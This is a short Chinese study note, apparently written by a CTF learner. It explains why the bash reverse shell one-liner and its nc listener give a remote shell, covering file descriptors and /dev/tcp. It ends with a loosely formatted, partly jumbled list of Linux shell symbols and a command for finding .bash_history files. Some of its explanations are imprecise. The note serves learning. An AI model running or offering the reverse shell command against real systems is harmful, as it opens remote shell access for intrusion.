以前做题时经常发现大佬用一行命令getshell,虽然自己有时侯也在用,但是并不知道到底为什么用这个命令。今天,我想去理解下为什么用这个命令getshell。
getshell的命令是:
bash -i >& /dev/tcp/192.168.174.128/6666 0>&1
nc的监听命令是:
Nc -lvvp 6666
bash -i
意思是交互式执行bash命令
而&
这个字符的作用是在后台工作,单一个& 符号,且放在完整指令列的最后端,即表示将该指令列放入后台中工作。
cmd \>&n
把输出送到文件描述符n(n=0、1、2)
下面我们看下linux中常用的文件描述符有哪些:
文件描述符(File Descriptor),用一个数字(通常为0-9)来表示一个文件。常用的文件描述符如下:
文件描述符 名称 常用缩写 默认值
0 标准输入 stdin 键盘
1 标准输出 stdout 屏幕
2 标准错误输出 stderr 屏幕
命令中的文件/dev/tcp/192.168.174.128/6666
其实并不存在,这里的作用是发出一个socket连接,ip地址是192.168.174.128,端口是6666,读写这个文件就相当于在这个socket连接中传输数据。
而整个命令的意思是:和ip为192.168.174.128,端口为6666的电脑建立tcp连接,并将tcp传来的数据写入键盘并执行shell命令,而且不显示在窗口。
下面再加一些Linux的特殊符号的意义:
查找文件用find / -name .bash_history
查找整个磁盘tab
接在第一个字后面则为命令补全,接在第二个字后面是文件名补齐ls -al
目录下所有文件及属性\
后是转义,可以\后加enter
继续下一行执行~
帐户的 home 目录~+
当前的工作目录,这个符号代表当前的工作目录,它和内建指令pwd
的作用是相同的。|
管道 (pipeline)是 UNIX 系统基础且重要的观念。连结上个指令的标准输出,做为下个指令的标准输入 \>file
如果文件存在就清空原文件,加上数据\>>file
在文件后面追加数据